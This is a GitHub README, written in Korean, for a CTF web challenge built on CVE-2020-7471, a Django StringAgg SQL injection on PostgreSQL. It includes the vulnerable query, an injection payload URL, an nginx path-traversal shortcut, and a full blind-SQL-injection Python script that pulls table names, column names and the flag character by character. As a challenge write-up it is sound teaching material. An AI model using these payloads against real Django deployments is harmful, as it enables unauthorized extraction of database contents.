Skip to content

Tempuss/CTF_CVE-2020-7471

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

25 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

DOBBY_IS_FREE!

  • ์ถœ์ œ๋œ CTF: 2020 Christmas CTF
  • ๋ถ„์•ผ: WEB
  • ํ‚ค์›Œ๋“œ: DOBBY_IS_FREE!
  • ๋‚œ์ด๋„: โ˜…โ˜…โ˜…โ˜†โ˜†

๋ฐฐ๊ฒฝ

์ผ๋ฐ˜์ ์œผ๋กœ Web Hacker๋“ค์ด mysql์— ๋Œ€ํ•œ SQL Injection์„ ์ฃผ๋กœ ๊ณต๋ถ€ํ•˜๋Š”๊ฑธ ๋ณด๋‹ˆ postgresql์„ ์‚ฌ์šฉํ•ด์„œ Injection ๋ฌธ์ œ๋ฅผ ๋งŒ๋“ค์–ด์„œ ๋‹ค์–‘ํ•œ DB์— ๋Œ€ํ•œ ๊ณต๊ฒฉ์„ ๊ฒฝํ—˜ํ•ด๋ดค์œผ๋ฉด ํ•˜๋Š” ์ƒ๊ฐ์—์„œ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

ํ’€์ด

์˜๋„ํ•œ ํ’€์ด

  • Django ์„œ๋น„์Šค์—์„œ ๋ฐœ์ƒํ•œ ์ทจ์•ฝ์ ์ด๋ฏ€๋กœ ์ด์— ๋Œ€ํ•œ ํžŒํŠธ๋ฅผ ์ฃผ๊ธฐ ์œ„ํ•ด HTTP Response์— Version์ด๋ผ๋Š” ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ
    Django, Postgres ๋ฒ„์ „์„ ๋ช…์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. Django 3.0.1 ๋ฒ„์ „์—์„œ ๋ฐœ์ƒํ•˜๋Š” SQL Injection ์ทจ์•ฝ์  ๊ฒ€์ƒ‰์‹œ ๊ณต๊ฐœ๋œ poc ์ฝ”๋“œ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. Custom_Header Response

  • ์›น ์‚ฌ์ดํŠธ ์ ‘๊ทผ์‹œ ๊ฒŒ์‹œ๊ธ€ ๋ชฉ๋ก ์ถœ๋ ฅ Post List

  • ์ขŒ์ธก ๋ฒˆํ˜ธ ํด๋ฆญ์‹œ ํ•ด๋‹น ๊ฒŒ์‹œ๊ธ€์— ๋Œ€ํ•œ pk์™€ content๊ฐ’์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฒŒ์‹œ๊ธ€ ์กฐํšŒ Post

  • ์‹ค์ œ ๋ฐฑ์—”๋“œ ์ฝ”๋“œ

results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
    custom_field=StringAgg('content', delimiter=content)).all()

StringAggํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๊ตฌ๋ถ„์ž์™€ ํ•จ๊ป˜ ๋ฌธ์ž์—ด์„ ๋ถ™์—ฌ์„œ ๋ฆฌํ„ดํ•ด์ฃผ๋Š” ํ•จ์ˆ˜ ์ธ๋ฐ ํ•ด๋‹น input๊ฐ’์— ๋Œ€ํ•œ ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ์ด ์—†์–ด์„œ ์ € content ๋ถ€๋ถ„์— injection payload๋ฅผ ๋„ฃ์„์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --

์‹ค์ œ Hacker๋“ค์˜ ํ’€์ด

  • nginx ์„œ๋ฒ„ ์„ค์ • ์‹ค์ˆ˜๋กœ ์ธํ•œ Path Traversal ์ทจ์•ฝ์  ๋ฐœ์ƒ http://118.67.135.137/static../ url ์ ‘๊ทผ ํ›„ ์„œ๋ฒ„ ๋‚ด ๋ชจ๋“  ํŒŒ์ผ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅ ํ•ด์ง์œผ๋กœ์„œ ๋ฐฑ์—…์šฉ dump ํŒŒ์ผ์„ ์ฝ์–ด๋“ค์—ฌ flag๋ฅผ ํš๋“

์ทจ์•ฝ์ 

CVE-2020-7471

  • Django version 1.11, 2.2 3.0.x โ‰ค 3.0.2 ๋ฒ„์ „์—์„œ ๋ฐœ๊ฒฌ๋œ SQL Injection ์ทจ์•ฝ์  CVE-2020-7471์„ ์ด์šฉํ•œ ๋ฌธ์ œ

  • postgresql ๊ด€๋ จ ํ•จ์ˆ˜ ์ค‘ StringAgg ํ•จ์ˆ˜์™€ ๊ด€๋ จ๋œ ์ฝ”๋“œ์—์„œ ์ธ์ž๊ฐ’ ๊ฒ€์‚ฌ ๊ธฐ๋Šฅ์ด ๋ฏธํกํ•ด ๋ฐœ์ƒํ•œ ์ทจ์•ฝ์ 

์ต์Šคํ”Œ๋กœ์ž‡

  • ๋‹ค์Œ์€ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.
import requests

server = "http://118.67.135.137/post/"

id = 1
content_param = f"/?content="
content = "IS_FREE!"



def exists_check(content):
    """์‘๋‹ต๊ฐ’ ์ฒดํฌ์šฉ ํ•จ์ˆ˜"""
    if "title" in str(content):
        return True
    else:
        return False



headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Host": "127.0.0.1:8000",
    "Pragma": "no-cache",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}

def get_table_info_from_information_schema():
    # table ๊ฐœ์ˆ˜ ์กฐํšŒ
    table_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        table_count = table_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            table_count = table_count - 1
            table_count_get = True


    # table list ์ถ”์ถœ
    table_row_list = []
    # public table ๊ฐœ์ˆ˜ ๋งŒํผ loop
    for table_row in range(0,table_count):
        # table ๋ช… ๊ธธ์ด ์กฐํšŒ
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
        # table ์ด๋ฆ„ ์‚ฌ์ด์ฆˆ ๋งŒํผ ๋ฃจํ”„
        table_name = ""
        for i in range(0,table_name_size):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    table_name = table_name+str(chr(ascii))
                    break
        table_row_list.append(table_name)

    print(table_row_list)

def get_column_info_from_information_schema():
    vul_flag_column_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        #time.sleep(1)
        vul_flag_column_count = vul_flag_column_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            vul_flag_column_count = vul_flag_column_count - 1
            table_count_get = True

    column_name_list = []
    for i in range(0,vul_flag_column_count):
        # table ๋ช… ๊ธธ์ด ์กฐํšŒ
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break

        #vul_flag table column ์ด๋ฆ„ ์กฐํšŒ
        column_name = ""
        for j in range(1,table_name_size+1):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    column_name = column_name+str(chr(ascii))
                    break
        column_name_list.append(column_name)

    print(column_name_list)

def get_flag_from_flag_table():
    for flag_length in range(0,50):
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            break

    flag = ""
    for j in range(1,flag_length+1):
        for ascii in range(0,128):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                flag = flag+str(chr(ascii))
                break
    print(flag)

#Information Schema์—์„œ ํ…Œ์ด๋ธ” ์ •๋ณด ์ถ”์ถœ
#get_table_info_from_information_schema()

#ํ…Œ์ด๋ธ”๋ช… ์•Œ์•„๋ƒˆ์œผ๋‹ˆ information_schema์—์„œ column ์ •๋ณด ์ถ”์ถœ
#get_column_info_from_information_schema()

#column์ •๋ณด ๊ธฐ๋ฐ˜์œผ๋กœ flag ๊ฐ’ ์ถ”์ถœ
get_flag_from_flag_table()
  • ๋‹ค์Œ์€ ์‹คํ–‰ ๊ฒฐ๊ณผ์ž…๋‹ˆ๋‹ค.
D033Y_!S_L0N3LY

์„œ๋น„์Šค ๊ตฌ๋™ ๋ฐฉ๋ฒ•


  1. Build Docker image
make build
  1. Up Docker Image
make up
  1. Check Web Site

๋ ˆํผ๋Ÿฐ์Šค

Poc CVE-2020-7471 Django Security Django Offical Document Django Release History